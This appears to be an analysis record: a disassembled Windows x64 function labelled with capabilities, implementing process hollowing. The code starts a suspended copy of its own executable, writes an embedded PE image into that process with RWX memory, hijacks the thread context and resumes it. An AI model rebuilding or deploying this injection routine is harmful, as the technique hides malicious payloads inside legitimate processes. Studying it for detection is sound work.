Function at 0x14004b2e0
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov r13, r8
mov r14, rdx
xor r15d, r15d
mov dword [rbp + 0x5f8], r15d
movsxd rsi, dword [0x14025afcc]
lea rax, [0x14025af90]
add rsi, rax
mov r8d, 0x400
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [rsi], 0x4550
jne 0x14004b94a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x134], xmm1
movups xmmword [rbp + 0x144], xmm1
movups xmmword [rbp + 0x154], xmm1
movups xmmword [rbp + 0x164], xmm1
movups xmmword [rbp + 0x174], xmm1
mov dword [rbp + 0x184], eax
mov dword [rbp + 0x130], WSAGetLastError
mov dword [rbp - 0x40], Ordinal_27
mov qword [rbp - 0x38], r15
mov dword [rbp - 0x30], 1
xor r9d, r9d
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14004b94a
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x190], rax
or dword [rbp + 0x16c], 0x100
lea rax, [0x14017a0f8]
mov qword [rbp - 0x20], rax
lea rax, [0x140179db0]
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x5f8], 4
xor r8d, r8d
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x20], r12
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 8], rax
mov qword [rbp + 0x60], r15
mov dword [rbp + 0x68], r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], 2
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov eax, 0x7261
mov word [rbp + 0xe0], ax
mov byte [rbp + 0xe2], r15b
mov rdx, r14
lea rcx, [rbp + 0x100]
call fcn.140056cc0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r15
lea ecx, [r15 + 0x40]
call fcn.140139bc8
mov rbx, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rcx, [rax + 0x40]
mov qword [rbp - 0x68], rcx
lea rax, [rbp - 0x78]
mov qword [rbp + 0x5f8], rax
lea rdi, [rbp + 0xe0]
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], rbx
lea rax, [rbp - 0x78]
mov qword [rbp - 0x48], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140056cc0
add rbx, 0x20
mov qword [rbp - 0x50], rbx
add rdi, 0x20
lea rax, [rbp + 0x120]
cmp rdi, rax
jne 0x14004b4f0
mov rdx, rbx
mov rcx, rbx
call fcn.14003fbf0
mov qword [rbp - 0x70], rbx
lea r9, [fcn.14003f5d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0xe0]
call fcn.140139c04
mov ebx, 0x800
nop dword [rax]
nop word [rax + rax]
lea rdx, [0x140177264]
lea rcx, [rbp - 0x10]
call fcn.140059530
sub rbx, 1
jne 0x14004b550
mov r8, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0x10
jb 0x14004b574
mov r14, qword [r14]
mov rdx, r14
lea rcx, [rbp - 0x10]
call fcn.14005fcb0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14017a420]
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x50], 0
mov dword [rbp + 0x5f8], 6
movups xmmword [rbp - 0x58], xmm0
mov ecx, dword [rbp + 0x68]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14004b5d6
mov rax, qword [rbp + 0x38]
mov r8, qword [rax]
test r8, r8
je 0x14004b5d6
mov rax, qword [rbp + 0x18]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x60]
cmovb r8, qword [rbp + 0x60]
sub r8, rdx
jmp 0x14004b605
test cl, 4
jne 0x14004b5fd
mov rax, qword [rbp + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x14004b5fd
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x48]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14004b605
mov r8, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x14004b615
lea rcx, [rsp + 0x50]
call fcn.14003f770
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004b8af
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14004b8af
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp + 0x120]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea r12, [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9d, dword [rsi + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r8, [0x14025af90]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, ebx
cmp bx, word [rsi + 6]
jae 0x14004b776
xor r12d, r12d
lea r13, [0x14025af90]
nop word [rax + rax]
movzx eax, word [rsi + 0x14]
add rax, rbx
mov r9d, dword [rax + rsi + 0x28]
mov r8d, dword [rax + rsi + 0x2c]
add r8, r13
mov edx, dword [rax + rsi + 0x24]
add rdx, r15
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc edi
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x14004b730
lea r12, [rsi + 0x30]
mov r13, qword [rbp + 0x5f0]
xor ebx, ebx
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
mov r8, r12
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x5f8]
mov r8d, 0x3ff
mov rdx, r13
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14004b7f1
mov eax, dword [rbp + 0x5f8]
mov byte [rax + r13], 0
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14004b848
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b843
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b843
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140139f2c
movdqa xmm0, xmmword [0x14017a420]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rbp - 0x78]
call fcn.14003f700
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 8]
call fcn.140056b10
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
jmp 0x14004b94f
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14004b8ef
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b8ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b8ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140139f2c
movdqa xmm0, xmmword [0x14017a420]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rbp - 0x78]
call fcn.14003f700
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], r12
mov rcx, qword [rbp - 0x20]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x98]
mov dword [rbp + rdx - 0x24], r8d
lea rcx, [rbp - 8]
call fcn.140056b10
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, 1
mov rbx, qword [rsp + 0x6e8]
add rsp, 0x6a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret